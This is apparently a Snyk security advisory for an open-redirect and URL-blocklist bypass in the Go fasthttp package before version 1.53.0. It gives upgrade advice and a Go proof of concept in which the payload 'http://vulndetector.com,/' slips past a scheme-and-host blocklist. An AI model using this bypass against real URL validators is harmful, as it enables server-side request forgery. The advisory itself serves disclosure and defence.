Open Redirect Affecting github.com/valyala/fasthttp package, versions <1.53.0
Threat Intelligence
Do your applications use this vulnerable package?
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applications- Snyk ID SNYK-GOLANG-GITHUBCOMVALYALAFASTHTTP-6815320
- published 9 May 2024
- disclosed 8 May 2024
- credit zer0yu
How to fix?
Upgrade github.com/valyala/fasthttp
to version 1.53.0 or higher.
Overview
github.com/valyala/fasthttp is a fast HTTP server and client API.
Affected versions of this package are vulnerable to Open Redirect due to improper handling of malformed URLs, allowing attackers to bypass the protections that users have set up for schemes and hosts. An attacker can send a URL involving a ,
to the Validator (e.g., http://vulndetector.com,/
), bypassing the URL blocklist validation, and keep sending requests to the domain with a blocklisted hostname, leading to SSRF and RCE attacks.
PoC
package main
import (
"fmt"
"github.com/valyala/fasthttp"
"net/url"
"strings"
)
func safeURLOpener(inputLink string) (*fasthttp.Response, error) {
blockSchemes := map[string]bool{
"file": true, "gopher": true, "expect": true,
"php": true, "dict": true, "ftp": true,
"glob": true, "data": true,
}
blockHost := map[string]bool{
"vulndetector.com": true,
}
parsedUrl, err := url.Parse(inputLink)
if err != nil {
fmt.Println("Error parsing URL:", err)
return nil, err
}
inputScheme := parsedUrl.Scheme
inputHostname := parsedUrl.Hostname()
if blockSchemes[inputScheme] {
fmt.Println("input scheme is forbidden")
return nil, nil
}
if blockHost[inputHostname] {
fmt.Println("input hostname is forbidden")
return nil, nil
}
// Create request and response objects
req := fasthttp.AcquireRequest()
resp := fasthttp.AcquireResponse()
defer fasthttp.ReleaseRequest(req) // to reuse requests
defer fasthttp.ReleaseResponse(resp) // to reuse responses
req.SetRequestURI(inputLink)
err = fasthttp.Do(req, resp)
if err != nil {
fmt.Println("HTTP request failed:", err)
return nil, err
}
// Since we need the body outside this function, we create a copy of the response
newResp := &fasthttp.Response{}
resp.CopyTo(newResp)
return newResp, nil
}
func verify() {
payload := "http://vulndetector.com,/"
result, err := safeURLOpener(payload)
if err != nil {
fmt.Println("Failed to open URL:", err)
return
}
if result != nil {
bodyBytes := result.Body()
bodyString := string(bodyBytes)
if result.StatusCode() == 200 && strings.Contains(bodyString, "FindVuln") {
fmt.Println("payload find! ==>", payload)
}
}
}
func main() {
verify()
}